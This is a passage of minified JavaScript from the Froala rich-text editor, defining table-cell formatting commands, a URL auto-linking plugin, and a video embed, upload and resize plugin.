Background",focus:!1,popup:!0,callback:function(){this.table.showColorsPopup()}}),St.RegisterCommand("tableCellBackgroundColor",{undo:!0,focus:!1,callback:function(e,t){this.table.setBackground(t)}}),St.DefineIcon("tableBack",{NAME:"arrow-left",SVG_KEY:"back"}),St.RegisterCommand("tableBack",{title:"Back",undo:!1,focus:!1,back:!0,callback:function(){this.table.back()},refresh:function(e){0!==this.table.selectedCells().length||this.opts.toolbarInline?(e.removeClass("fr-hidden"),e.next(".fr-separator").removeClass("fr-hidden")):(e.addClass("fr-hidden"),e.next(".fr-separator").addClass("fr-hidden"))}}),St.DefineIcon("tableCellVerticalAlign",{NAME:"arrows-v",FA5NAME:"arrows-alt-v",SVG_KEY:"verticalAlignMiddle"}),St.RegisterCommand("tableCellVerticalAlign",{type:"dropdown",focus:!1,title:"Vertical Align",options:{Top:"Align Top",Middle:"Align Middle",Bottom:"Align Bottom"},html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=St.COMMANDS.tableCellVerticalAlign.options;for(var a in t)t.hasOwnProperty(a)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="tableCellVerticalAlign" data-param1="'.concat(a.toLowerCase(),'" title="').concat(this.language.translate(t[a]),'">').concat(this.language.translate(a),"</a></li>"));return e+="</ul>"},callback:function(e,t){this.table.verticalAlign(t)},refreshOnShow:function(e,t){t.find('.fr-command[data-param1="'+this.$el.find(".fr-selected-cell").css("vertical-align")+'"]').addClass("fr-active").attr("aria-selected",!0)}}),St.DefineIcon("tableCellHorizontalAlign",{NAME:"align-left",SVG_KEY:"alignLeft"}),St.DefineIcon("align-left",{NAME:"align-left",SVG_KEY:"alignLeft"}),St.DefineIcon("align-right",{NAME:"align-right",SVG_KEY:"alignRight"}),St.DefineIcon("align-center",{NAME:"align-center",SVG_KEY:"alignCenter"}),St.DefineIcon("align-justify",{NAME:"align-justify",SVG_KEY:"alignJustify"}),St.RegisterCommand("tableCellHorizontalAlign",{type:"dropdown",focus:!1,title:"Horizontal Align",options:{left:"Align Left",center:"Align Center",right:"Align Right",justify:"Align Justify"},html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=St.COMMANDS.tableCellHorizontalAlign.options;for(var a in t)t.hasOwnProperty(a)&&(e+='<li role="presentation"><a class="fr-command fr-title" tabIndex="-1" role="option" data-cmd="tableCellHorizontalAlign" data-param1="'.concat(a,'" title="').concat(this.language.translate(t[a]),'">').concat(this.icon.create("align-".concat(a)),'<span class="fr-sr-only">').concat(this.language.translate(t[a]),"</span></a></li>"));return e+="</ul>"},callback:function(e,t){this.table.horizontalAlign(t)},refresh:function(e){var t=this.table.selectedCells(),a=this.$;t.length&&e.find("> *").first().replaceWith(this.icon.create("align-".concat(this.helpers.getAlignment(a(t[0])))))},refreshOnShow:function(e,t){t.find('.fr-command[data-param1="'+this.helpers.getAlignment(this.$el.find(".fr-selected-cell").first())+'"]').addClass("fr-active").attr("aria-selected",!0)}}),St.DefineIcon("tableCellStyle",{NAME:"magic",SVG_KEY:"cellStyle"}),St.RegisterCommand("tableCellStyle",{title:"Cell Style",type:"dropdown",focus:!1,html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.tableCellStyles;for(var a in t)t.hasOwnProperty(a)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="tableCellStyle" data-param1="'.concat(a,'" title="').concat(this.language.translate(t[a]),'">').concat(this.language.translate(t[a]),"</a></li>"));return e+="</ul>"},callback:function(e,t){this.table.applyStyle(t,this.$el.find(".fr-selected-cell"),this.opts.tableCellMultipleStyles,this.opts.tableCellStyles)},refreshOnShow:function(e,t){var a=this.$,n=this.$el.find(".fr-selected-cell").first();n&&t.find(".fr-command").each(function(){var e=a(this).data("param1"),t=n.hasClass(e);a(this).toggleClass("fr-active",t).attr("aria-selected",t)})}}),St.RegisterCommand("tableCellBackgroundCustomColor",{title:"OK",undo:!0,callback:function(){this.table.customColor()}}),St.DefineIcon("tableColorRemove",{NAME:"eraser",SVG_KEY:"remove"}),St.URLRegEx="(^| |\\u00A0)(".concat(St.LinkRegEx,"|([a-z0-9+-_.]{1,}@[a-z0-9+-_.]{1,}\\.[a-z0-9+-_]{1,}))$"),St.PLUGINS.url=function(f){var p=f.$,i=null;function t(e,t,a){for(var n="";a.length&&"."==a[a.length-1];)n+=".",a=a.substring(0,a.length-1);var r=a;if(f.opts.linkConvertEmailAddress)f.helpers.isEmail(r)&&!/^mailto:.*/i.test(r)&&(r="mailto:".concat(r));else if(f.helpers.isEmail(r))return t+a;return/^((http|https|ftp|ftps|mailto|tel|sms|notes|data)\:)/i.test(r)||(r="//".concat(r)),(t||"")+"<a".concat(f.opts.linkAlwaysBlank?' target="_blank"':"").concat(i?' rel="'.concat(i,'"'):"",' data-fr-linked="true" href="').concat(r,'">').concat(a.replace(/&/g,"&").replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">"),"</a>").concat(n)}var u=function u(){return new RegExp(St.URLRegEx,"gi")};function g(e){return f.opts.linkAlwaysNoFollow&&(i="nofollow"),f.opts.linkAlwaysBlank&&(f.opts.linkNoOpener&&(i?i+=" noopener":i="noopener"),f.opts.linkNoReferrer&&(i?i+=" noreferrer":i="noreferrer")),e.replace(u(),t)}function h(e){var t=e.split(" ");return t[t.length-1]}function a(){var e=f.selection.ranges(0),t=e.startContainer;if(t.nodeType!==Node.TEXT_NODE)return!1;if(!t||e.startOffset!==(t.textContent||"").length){f.markers.insert();var a=f.$el.find(".fr-marker"),n=t.textContent.match(/(^| |\u00A0)(((([a-z\u0080-\u009f\u00a1-\uffff0-9-_\.]{1,})(\.(com|net|org|edu|mil|gov|co|biz|info|me|dev)))|((ftp|http|https):\/\/[a-z\u0080-\u009f\u00a1-\uffff0-9-_\.]{1,})|(www\.[a-z\u0080-\u009f\u00a1-\uffff0-9-_\.]{1,}\.[a-z0-9-]{2,24})|((ftp|http|https):\/\/[\u0021-\uffff]{1,}@[a-z\u0080-\u009f\u00a1-\uffff0-9-_\.]{1,}))((:[0-9]{1,5})|)(((\/|\?|#)[a-z\u00a1-\uffff0-9@?\|!^=%&\/~+#-\'*-_{}]*)|())|([a-z0-9+-_.]{1,}@[a-z0-9+-_.]{1,}\.[a-z0-9+-_]{1,}))$/gi);if(a.remove(),!n)return!1}if(function d(e){return!!e&&("A"===e.tagName||!(!e.parentNode||e.parentNode==f.el)&&d(e.parentNode))}(t))return!1;if(u().test(h(t.textContent))){var r,i=t.textContent.length;if(0<i&&","===t.textContent.charAt(i-1)){p(t).before(g(t.textContent.substring(0,i-1))),(r=p(t.parentNode).find("a[data-fr-linked]")).removeAttr("data-fr-linked"),t.textContent=",";var o=f.win.getSelection().getRangeAt(0);o.setStart(t,1),o.setEnd(t,1)}else p(t).before(g(t.textContent)),(r=p(t.parentNode).find("a[data-fr-linked]")).removeAttr("data-fr-linked"),t.parentNode.removeChild(t);f.events.trigger("url.linked",[r.get(0)])}else if(t.textContent.split(" ").length<=2&&t.previousSibling&&"A"===t.previousSibling.tagName){var s=t.previousSibling.innerText+t.textContent,l=t.textContent.length;if(u().test(h(s))&&","!==t.textContent.charAt(l-1)){var c=(new DOMParser).parseFromString(g(s),"text/html").body.childNodes;t.parentNode.replaceChild(c[0],t.previousSibling),c.length&&p(t).before(c[0]),t.parentNode.removeChild(t)}}}return{_init:function e(){f.events.on("keypress",function(e){!f.selection.isCollapsed()||")"!=e.key&&"("!=e.key||a()},!0),f.events.on("keydown",function(e){var t=e.which;!f.selection.isCollapsed()||t!=St.KEYCODE.ENTER&&t!=St.KEYCODE.SPACE||a()},!0),f.events.on("paste.beforeCleanup",function(e){if(f.helpers.isURL(e)&&!f.$el[0].getAttribute("plainpaste")){var t=null;return f.opts.linkAlwaysBlank&&(f.opts.linkNoOpener&&(t?t+=" noopener":t="noopener"),f.opts.linkNoReferrer&&(t?t+=" noreferrer":t="noreferrer")),"<a".concat(f.opts.linkAlwaysBlank?' target="_blank"':"").concat(t?' rel="'.concat(t,'"'):"",' href="').concat(e,'" >').concat(e,"</a>")}if(f.$el[0].getAttribute("plainpaste"))return function a(e){if("string"==typeof e)return(e=e.replace(/&/g,"&")).replace(/(?:(?:https?|ftp|file):\/\/|www\.|ftp\.)(?:\([-A-Z0-9+&@#\/%=~_|$?!:,.]*\)|[-A-Z0-9+&@#\/%=~_|$?!:,.])*(?:\([-A-Z0-9+&@#\/%=~_|$?!:,.]*\)|[A-Z0-9+&@#\/%=~_|$])/gim,g).replace(/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9_-]+)/gim,g)}(e)})}}},Object.assign(St.POPUP_TEMPLATES,{"video.insert":"[_BUTTONS_][_BY_URL_LAYER_][_EMBED_LAYER_][_UPLOAD_LAYER_][_PROGRESS_BAR_]","video.edit":"[_BUTTONS_]","video.size":"[_BUTTONS_][_SIZE_LAYER_]"}),Object.assign(St.DEFAULTS,{videoAllowedTypes:["mp4","webm","ogg","mp3","mpeg","url"],videoAllowedProviders:[".*"],videoDefaultAlign:"center",videoDefaultDisplay:"block",videoDefaultWidth:600,videoEditButtons:["videoReplace","videoRemove","videoDisplay","videoAlign","videoSize","autoplay"],videoInsertButtons:["videoBack","|","videoByURL","videoEmbed","videoUpload"],videoMaxSize:52428800,videoMove:!0,videoResize:!0,videoResponsive:!1,videoSizeButtons:["videoBack","|"],videoSplitHTML:!1,videoTextNear:!0,videoUpload:!0,videoUploadMethod:"POST",videoUploadParam:"file",videoUploadParams:{},videoUploadToS3:!1,videoUploadToAzure:!1,videoUploadURL:null}),St.VIDEO_PROVIDERS=[{test_regex:/^.*((youtu.be)|(youtube.com))\/((v\/)|(\/u\/\w\/)|(embed\/)|(watch\?))?\/?((shorts\/)|(v=))?([^#\&\?]*).*/,url_regex:/(?:https?:\/\/)?(?:www\.)?(?:m\.)?(?:youtube\.com|youtu\.be)\/(?:watch\?v=|embed\/|shorts\/)?([0-9a-zA-Z_\-]+)(.*)?/g,url_text:"https://www.youtube.com/embed/$1?$2",html:'<iframe width="640" height="360" src="{url}&wmode=opaque&rel=0" frameborder="0" allowfullscreen></iframe>',provider:"youtube"},{test_regex:/^.*(?:vimeo.com)\/(?:channels(\/\w+\/)?|groups\/*\/videos\/\u200b\d+\/|video\/|)(\d+)(?:$|\/|\?)/,url_regex:/(?:https?:\/\/)?(?:www\.|player\.)?vimeo.com\/(?:channels\/(?:\w+\/)?|groups\/(?:[^\/]*)\/videos\/|album\/(?:\d+)\/video\/|video\/|)(\d+)(?:[a-zA-Z0-9_\-]+)?(\/[a-zA-Z0-9_\-]+)?/i,url_text:"https://player.vimeo.com/video/$1",html:'<iframe width="640" height="360" src="{url}" frameborder="0" allowfullscreen></iframe>',provider:"vimeo"},{test_regex:/^.+(dailymotion.com|dai.ly)\/(video|hub)?\/?([^_]+)[^#]*(#video=([^_&]+))?/,url_regex:/(?:https?:\/\/)?(?:www\.)?(?:dailymotion\.com|dai\.ly)\/(?:video|hub)?\/?(.+)/g,url_text:"https://www.dailymotion.com/embed/video/$1",html:'<iframe width="640" height="360" src="{url}" frameborder="0" allowfullscreen></iframe>',provider:"dailymotion"},{test_regex:/^.+(screen.yahoo.com)\/[^_&]+/,url_regex:"",url_text:"",html:'<iframe width="640" height="360" src="{url}?format=embed" frameborder="0" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true" allowtransparency="true"></iframe>',provider:"yahoo"},{test_regex:/^.+(rutube.ru)\/[^_&]+/,url_regex:/(?:https?:\/\/)?(?:www\.)?(?:rutube\.ru)\/(?:video)?\/?(.+)/g,url_text:"https://rutube.ru/play/embed/$1",html:'<iframe width="640" height="360" src="{url}" frameborder="0" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true" allowtransparency="true"></iframe>',provider:"rutube"},{test_regex:/^(?:.+)vidyard.com\/(?:watch)?\/?([^.&/]+)\/?(?:[^_.&]+)?/,url_regex:/^(?:.+)vidyard.com\/(?:watch)?\/?([^.&/]+)\/?(?:[^_.&]+)?/g,url_text:"https://play.vidyard.com/$1",html:'<iframe width="640" height="360" src="{url}" frameborder="0" allowfullscreen></iframe>',provider:"vidyard"}],St.VIDEO_EMBED_REGEX=/^\W*((<iframe(.|\n)*>(\s|\n)*<\/iframe>)|(<embed(.|\n)*>))\W*$/i,St.PLUGINS.video=function(_){var s,d,f,w,n,a,y=_.$,A="https://i.froala.com/upload",p=2,u=3,g=4,C=5,T=6,r={};function h(){var e=_.popups.get("video.insert");e.find(".fr-video-by-url-layer input").val("").trigger("change");var t=e.find(".fr-video-embed-layer textarea");t.val("").trigger("change"),(t=e.find(".fr-video-upload-layer input")).val("").trigger("change")}function i(){var e=_.popups.get("video.edit");if(e||(e=function o(){var e="";if(0<_.opts.videoEditButtons.length){_.opts.videoResponsive&&(-1<_.opts.videoEditButtons.indexOf("videoSize")&&_.opts.videoEditButtons.splice(_.opts.videoEditButtons.indexOf("videoSize"),1),-1<_.opts.videoEditButtons.indexOf("videoDisplay")&&_.opts.videoEditButtons.splice(_.opts.videoEditButtons.indexOf("videoDisplay"),1),-1<_.opts.videoEditButtons.indexOf("videoAlign")&&_.opts.videoEditButtons.splice(_.opts.videoEditButtons.indexOf("videoAlign"),1));var t={buttons:e+='<div class="fr-buttons"> \n '.concat(_.button.buildList(_.opts.videoEditButtons)," \n </div>")},a=_.popups.create("video.edit",t);return _.events.$on(_.$wp,"scroll.video-edit",function(){w&&_.popups.isVisible("video.edit")&&(_.events.disableBlur(),c(w))}),a}return!1}()),e){_.popups.setContainer("video.edit",_.$sc),_.popups.refresh("video.edit");var t=w.find("iframe, embed, ".concat(w.find("iframe, embed, audio").get(0)?"audio":"video")),a=t.offset().left+t.outerWidth()/2,n=t.offset().top+t.outerHeight(),r=t.get(0).src?t.get(0).src:t.get(0).currentSrc,i=!(!(r=(r=r.split("."))[r.length-1]).includes("pdf")&&!r.includes("txt"));t.hasClass("fr-file")||i||w.find("audio").get(0)?(document.getElementById("autoplay-".concat(_.id))&&(document.getElementById("autoplay-".concat(_.id)).style.display="none"),document.getElementById("videoReplace-".concat(_.id))&&(document.getElementById("videoReplace-".concat(_.id)).style.display="none")):(document.getElementById("autoplay-".concat(_.id))&&(document.getElementById("autoplay-".concat(_.id)).style.display=""),document.getElementById("videoReplace-".concat(_.id))&&(document.getElementById("videoReplace-".concat(_.id)).style.display="")),_.popups.show("video.edit",a,n,t.outerHeight(),!0)}}function o(e){if(e)return _.popups.onRefresh("video.insert",h),_.popups.onHide("video.insert",Z),!0;var t="";_.opts.videoUpload||-1===_.opts.videoInsertButtons.indexOf("videoUpload")||_.opts.videoInsertButtons.splice(_.opts.videoInsertButtons.indexOf("videoUpload"),1);var a=_.button.buildList(_.opts.videoInsertButtons);""!==a&&(t='<div class="fr-buttons">'+a+"</div>");var n,r="",i=_.opts.videoInsertButtons.indexOf("videoUpload"),o=_.opts.videoInsertButtons.indexOf("videoByURL"),s=_.opts.videoInsertButtons.indexOf("videoEmbed");if(0<=o){n=" fr-active",(i<o&&0<=i||s<o&&0<=s)&&(n="");r='<div class="fr-video-by-url-layer fr-layer'.concat(n,'" id="fr-video-by-url-layer-').concat(_.id,'"><div class="fr-input-line"><input id="fr-video-by-url-layer-text-').concat(_.id,'" type="text" placeholder="').concat(_.language.translate("Paste in a video URL"),'" tabIndex="1" aria-required="true"></div><div class="fr-action-buttons"><span style=\'float:left\'><div class="fr-checkbox-line fr-autoplay-margin"><span class="fr-checkbox"> <input id=\'videoPluginAutoplay\' data-checked="_blank" type="checkbox"> <span>').concat('<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10" viewBox="0 0 32 32"><path d="M27 4l-15 15-7-7-5 5 12 12 20-20z" fill="#FFF"></path></svg>','</span></span> <label id="fr-label-target-').concat(_.id,'">Autoplay</label></div> </span><button type="button" class="fr-command fr-submit" data-cmd="videoInsertByURL" tabIndex="2" role="button">').concat(_.language.translate("Insert"),"</button></div></div>")}var l="";0<=s&&(n=" fr-active",(i<s&&0<=i||o<s&&0<=o)&&(n=""),l='<div class="fr-video-embed-layer fr-layer'.concat(n,'" id="fr-video-embed-layer-').concat(_.id,'"><div class="fr-input-line"><textarea id="fr-video-embed-layer-text').concat(_.id,'" type="text" placeholder="').concat(_.language.translate("Embedded Code"),'" tabIndex="1" aria-required="true" rows="5"></textarea></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="videoInsertEmbed" tabIndex="2" role="button">').concat(_.language.translate("Insert"),"</button></div></div>"));var c="";0<=i&&(n=" fr-active",(s<i&&0<=s||o<i&&0<=o)&&(n=""),c='<div class="fr-video-upload-layer fr-layer'.concat(n,'" id="fr-video-upload-layer-').concat(_.id,'"><strong>').concat(_.language.translate("Drop video"),"</strong><br>(").concat(_.language.translate("or click"),')<div class="fr-form"><input type="file" accept="video/').concat(_.opts.videoAllowedTypes.join(", video/").toLowerCase(),'" tabIndex="-1" aria-labelledby="fr-video-upload-layer-').concat(_.id,'" role="button"></div></div>'));var d={buttons:t,by_url_layer:r,embed_layer:l,upload_layer:c,progress_bar:'<div class="fr-video-progress-bar-layer fr-layer"><h3 tabIndex="-1" class="fr-message">Uploading</h3><div class="fr-loader"><span class="fr-progress"></span></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-dismiss" data-cmd="videoDismissError" tabIndex="2" role="button">OK</button></div></div>'},f=_.popups.create("video.insert",d);return function p(n){_.events.$on(n,"dragover dragenter",".fr-video-upload-layer",function(){return y(this).addClass("fr-drop"),!1},!0),_.events.$on(n,"dragleave dragend",".fr-video-upload-layer",function(){return y(this).removeClass("fr-drop"),!1},!0),_.events.$on(n,"drop",".fr-video-upload-layer",function(e){e.preventDefault(),e.stopPropagation(),y(this).removeClass("fr-drop");var t=e.originalEvent.dataTransfer;if(t&&t.files){var a=n.data("instance")||_;a.events.disableBlur(),a.video.upload(t.files),a.events.enableBlur()}},!0),_.helpers.isIOS()&&_.events.$on(n,"touchstart",'.fr-video-upload-layer input[type="file"]',function(){y(this).trigger("click")},!0);_.events.$on(n,"change",'.fr-video-upload-layer input[type="file"]',function(){if(this.files){var e=n.data("instance")||_;e.events.disableBlur(),n.find("input:focus").blur(),e.events.enableBlur(),e.video.upload(this.files)}y(this).val("")},!0)}(f),f}function m(e){_.events.focus(!0),_.selection.restore();var t=!1;if(w&&(X(),t=!0),_.opts.trackChangesEnabled){_.edit.on(),_.events.focus(!0),_.selection.restore(),_.undo.saveStep(),_.markers.insert(),_.html.wrap();var a=_.$el.find(".fr-marker");_.node.isLastSibling(a)&&a.parent().hasClass("fr-deletable")&&a.insertAfter(a.parent()),a.replaceWith('<span contenteditable="false" draggable="true" class="fr-jiv fr-video fr-deletable">'.concat(e,"</span>")),_.selection.clear()}else _.html.insert('<span contenteditable="false" draggable="true" class="fr-jiv fr-video fr-deletable">'.concat(e,"</span>"),!1,_.opts.videoSplitHTML);_.popups.hide("video.insert");var n=_.$el.find(".fr-jiv");n.removeClass("fr-jiv"),n.toggleClass("fr-rv",_.opts.videoResponsive),Q(n,_.opts.videoDefaultDisplay,_.opts.videoDefaultAlign),n.toggleClass("fr-draggable",_.opts.videoMove),_.events.trigger(t?"video.replaced":"video.inserted",[n])}function v(){var e=y(this);_.popups.hide("video.insert"),e.removeClass("fr-uploading"),e.parent().next().is("br")&&e.parent().next().remove(),c(e.parent()),_.events.trigger("video.loaded",[e.parent()])}function k(s,e,l,c,d,f){_.edit.off(),b("Loading video"),e&&(s=_.helpers.sanitizeURL(s));var p=function p(){var e,t;if(c){_.undo.canDo()||c.find("video").hasClass("fr-uploading")||_.undo.saveStep();var a=c.find("video").data("fr-old-src"),n=c.data("fr-replaced");if(c.data("fr-replaced",!1),0<c.find("iframe").length)c.remove(),e=O(s,l,v);else{_.$wp?((e=c.clone(!0)).find("video").removeData("fr-old-src").removeClass("fr-uploading"),e.find("video").off("canplay"),a&&c.find("video").attr("src",a),c.replaceWith(e)):e=c;for(var r=e.find("video").get(0).attributes,i=0;i<r.length;i++){var o=r[i];0===o.nodeName.indexOf("data-")&&e.find("video").removeAttr(o.nodeName)}if(void 0!==l)for(t in l)l.hasOwnProperty(t)&&"link"!=t&&e.find("video").attr("data-".concat(t),l[t]);e.find("video").on("canplay",v),e.find("video").attr("src",s)}_.edit.on(),B(),_.undo.saveStep(),_.$el.blur(),_.events.trigger(n?"video.replaced":"video.inserted",[e,d])}else e=O(s,l,v,f),B(),_.undo.saveStep(),_.events.trigger("video.inserted",[e,d])};S("Loading video"),p()}function S(e){var t=_.popups.get("video.insert");if(t||(t=o()),t.find(".fr-layer.fr-active").removeClass("fr-active").addClass("fr-pactive"),t.find(".fr-video-progress-bar-layer").addClass("fr-active"),t.find(".fr-buttons").hide(),w){var a=w.find("iframe, embed, ".concat(w.find("iframe, embed, audio").get(0)?"audio":"video"));_.popups.setContainer("video.insert",_.$sc);var n=a.offset().left,r=a.offset().top+a.height();_.popups.show("video.insert",n,r,a.outerHeight())}void 0===e&&b(_.language.translate("Uploading"),0)}function l(e){var t=_.popups.get("video.insert");if(t&&(t.find(".fr-layer.fr-pactive").addClass("fr-active").removeClass("fr-pactive"),t.find(".fr-video-progress-bar-layer").removeClass("fr-active"),t.find(".fr-buttons").show(),e||_.$el.find("video.fr-error").length)){if(_.events.focus(),_.$el.find("video.fr-error").length&&(_.$el.find("video.fr-error").parent().remove(),_.undo.saveStep(),_.undo.run(),_.undo.dropRedo()),!_.$wp&&w){var a=w;H(!0),_.selection.setAfter(a.find("video").get(0)),_.selection.restore()}_.popups.hide("video.insert")}}function b(e,t){var a=_.popups.get("video.insert");if(a){var n=a.find(".fr-video-progress-bar-layer");n.find("h3").text(e+(t?" ".concat(t,"%"):"")),n.removeClass("fr-error"),t?(n.find("div").removeClass("fr-indeterminate"),n.find("div > span").css("width","".concat(t,"%"))):n.find("div").addClass("fr-indeterminate")}}function E(e){S();var t=_.popups.get("video.insert").find(".fr-video-progress-bar-layer");t.addClass("fr-error");var a=t.find("h3");a.text(e),_.events.disableBlur(),a.focus()}function c(e){t.call(e.get(0))}function R(e,t,a){b("Loading video");var n=this.status,r=this.response,i=this.responseXML,o=this.responseText;try{if(_.opts.videoUploadToS3||_.opts.videoUploadToAzure)if(201==n){var s;if(_.opts.videoUploadToAzure){if(!1===_.events.trigger("video.uploadedToAzure",[this.responseURL,a,r],!0))return _.edit.on(),!1;s=t}else s=function c(e){try{var t=y(e).find("Location").text(),a=y(e).find("Key").text();return!1===_.events.trigger("video.uploadedToS3",[t,a,e],!0)?(_.edit.on(),!1):t}catch(n){return G(g,e),!1}}(i);s&&k(s,!1,[],e,r||i)}else G(g,r||i);else if(200<=n&&n<300){var l=function d(e){try{if(!1===_.events.trigger("video.uploaded",[e],!0))return _.edit.on(),!1;var t=JSON.parse(e);return t.link?t:(G(p,e),!1)}catch(a){return G(g,e),!1}}(o);l&&k(l.link,!1,l,e,r||o)}else G(u,r||o)}catch(f){G(g,r||o)}}function L(){G(g,this.response||this.responseText||this.responseXML)}function x(e){if(e.lengthComputable){var t=e.loaded/e.total*100|0;b(_.language.translate("Uploading"),t)}}function I(){_.edit.on(),l(!0)}function O(e,t,a,n){var r,i,o="";if(t&&void 0!==t)for(r in t)t.hasOwnProperty(r)&&"link"!=r&&(o+=" ".concat(r,'="').concat(t[r],'"'));var s=_.opts.videoDefaultWidth;s&&"auto"!=s&&(s="".concat(s,"px")),_.helpers.isMobile()&&_.browser.safari&&(o+=" autoplay playsinline"),(i="audio"==n?y(document.createElement("span")).attr("contenteditable","false").attr("draggable","true").attr("class","fr-video fr-dv"+_.opts.videoDefaultDisplay[0]+("center"!=_.opts.videoDefaultAlign?" fr-fv"+_.opts.videoDefaultAlign[0]:"")).html('<audio src="'+e+'" '+o+" controls>"+_.language.translate("Your browser does not support HTML5 video.")+"</audio>"):y(document.createElement("span")).attr("contenteditable","false").attr("draggable","true").attr("class","fr-video fr-dv"+_.opts.videoDefaultDisplay[0]+("center"!=_.opts.videoDefaultAlign?" fr-fv"+_.opts.videoDefaultAlign[0]:"")).html('<video src="'+e+'" '+o+(s?' style="width: '+s+';" ':"")+" controls>"+_.language.translate("Your browser does not support HTML5 video.")+"</video>")).toggleClass("fr-draggable",_.opts.videoMove),_.edit.on(),_.events.focus(!0),_.selection.restore(),_.undo.saveStep(),_.opts.videoSplitHTML?_.markers.split():(_.cursor.enter(),_.markers.insert()),_.html.wrap();var l=_.$el.find(".fr-marker");return _.node.isLastSibling(l)&&l.parent().hasClass("fr-deletable")&&l.insertAfter(l.parent()),l.replaceWith(i),_.selection.clear(),"audio"!==n&&(i.find("video").get(0).readyState>i.find("video").get(0).HAVE_FUTURE_DATA||_.helpers.isIOS()?a.call(i.find("video").get(0)):i.find("video").on("canplaythrough load",a)),i}function F(e){if(!_.core.sameInstance(f))return!0;e.preventDefault(),e.stopPropagation();var t=e.pageX||(e.originalEvent.touches?e.originalEvent.touches[0].pageX:null),a=e.pageY||(e.originalEvent.touches?e.originalEvent.touches[0].pageY:null);if(!t||!a)return!1;if("mousedown"==e.type){var n=_.$oel.get(0).ownerDocument,r=n.defaultView||n.parentWindow,i=!1;try{i=r.location!=r.parent.location&&!(r.$&&r.$.FE)}catch(o){}i&&r.frameElement&&(t+=_.helpers.getPX(y(r.frameElement).offset().left)+r.frameElement.clientLeft,a=e.clientY+_.helpers.getPX(y(r.frameElement).offset().top)+r.frameElement.clientTop)}_.undo.canDo()||_.undo.saveStep(),(d=y(this)).data("start-x",t),d.data("start-y",a),s.show(),_.popups.hideAll(),z()}function M(e){if(!_.core.sameInstance(f))return!0;if(d){e.preventDefault();var t=e.pageX||(e.originalEvent.touches?e.originalEvent.touches[0].pageX:null),a=e.pageY||(e.originalEvent.touches?e.originalEvent.touches[0].pageY:null);if(!t||!a)return!1;var n=d.data("start-x"),r=d.data("start-y");d.data("start-x",t),d.data("start-y",a);var i=t-n,o=a-r,s=w.find("iframe, embed, ".concat(w.find("iframe, embed, audio").get(0)?"audio":"video")),l=s.width(),c=s.height();(d.hasClass("fr-hnw")||d.hasClass("fr-hsw"))&&(i=0-i),(d.hasClass("fr-hnw")||d.hasClass("fr-hne"))&&(o=0-o),s.css("width",l+i),s.css("height",c+o),s.removeAttr("width"),s.removeAttr("height"),U()}}function D(e){if(!_.core.sameInstance(f))return!0;d&&w&&(e&&e.stopPropagation(),d=null,s.hide(),U(),i(),_.undo.saveStep())}function N(e){return'<div class="fr-handler fr-h'.concat(e,'"></div>')}function P(e,t,a,n){return e.pageX=t,e.pageY=t,F.call(this,e),e.pageX=e.pageX+a*Math.floor(Math.pow(1.1,n)),e.pageY=e.pageY+a*Math.floor(Math.pow(1.1,n)),M.call(this,e),D.call(this,e),++n}function B(){var e,t=Array.prototype.slice.call(_.el.querySelectorAll("video, .fr-video > *")),a=[];for(e=0;e<t.length;e++)a.push(t[e].getAttribute("src")),y(t[e]).toggleClass("fr-draggable",_.opts.videoMove),""===t[e].getAttribute("class")&&t[e].removeAttribute("class"),""===t[e].getAttribute("style")&&t[e].removeAttribute("style");if(n)for(e=0;e<n.length;e++)a.indexOf(n[e].getAttribute("src"))<0&&_.events.trigger("video.removed",[y(n[e])]);n=t}function U(){f||function o(){var e;if(_.shared.$video_resizer?(f=_.shared.$video_resizer,s=_.shared.$vid_overlay,_.events.on("destroy",function(){y("body").first().append(f.removeClass("fr-active"))},!0)):(_.shared.$video_resizer=y(document.createElement("div")).attr("class","fr-video-resizer"),f=_.shared.$video_resizer,_.events.$on(f,"mousedown",function(e){e.stopPropagation()},!0),_.opts.videoResize&&(f.append(N("nw")+N("ne")+N("sw")+N("se")),_.shared.$vid_overlay=y(document.createElement("div")).attr("class","fr-video-overlay"),s=_.shared.$vid_overlay,e=f.get(0).ownerDocument,y(e).find("body").first().append(s))),_.events.on("shared.destroy",function(){f.html("").removeData().remove(),f=null,_.opts.videoResize&&(s.remove(),s=null)},!0),_.helpers.isMobile()||_.events.$on(y(_.o_win),"resize.video",function(){H(!0)}),_.opts.videoResize){e=f.get(0).ownerDocument,_.events.$on(f,_._mousedown,".fr-handler",F),_.events.$on(y(e),_._mousemove,M),_.events.$on(y(e.defaultView||e.parentWindow),_._mouseup,D),_.events.$on(s,"mouseleave",D);var n=1,r=null,i=0;_.events.on("keydown",function(e){if(w){var t=-1!=navigator.userAgent.indexOf("Mac OS X")?e.metaKey:e.ctrlKey,a=e.which;(a!==r||200<e.timeStamp-i)&&(n=1),(a==St.KEYCODE.EQUALS||_.browser.mozilla&&a==St.KEYCODE.FF_EQUALS)&&t&&!e.altKey?n=P.call(this,e,1,1,n):(a==St.KEYCODE.HYPHEN||_.browser.mozilla&&a==St.KEYCODE.FF_HYPHEN)&&t&&!e.altKey&&(n=P.call(this,e,2,-1,n)),r=a,i=e.timeStamp}}),_.events.on("keyup",function(){n=1})}}(),(_.$wp||_.$sc).append(f),f.data("instance",_);var e=w.find("iframe, embed, ".concat(w.find("iframe, embed, audio").get(0)?"audio":"video")),t=0,a=0;_.opts.iframe&&(a=_.helpers.getPX(_.$wp.find(".fr-iframe").css("padding-top")),t=_.helpers.getPX(_.$wp.find(".fr-iframe").css("padding-left"))),f.css("top",(_.opts.iframe?e.offset().top+a-1:e.offset().top-_.$wp.offset().top-1)+_.$wp.scrollTop()).css("left",(_.opts.iframe?e.offset().left+t-1:e.offset().left-_.$wp.offset().left-1)+_.$wp.scrollLeft()).css("width",e.get(0).getBoundingClientRect().width).css("height",e.get(0).getBoundingClientRect().height).addClass("fr-active")}function t(e){if(e&&"touchend"==e.type&&a)return!0;if(e&&_.edit.isDisabled())return 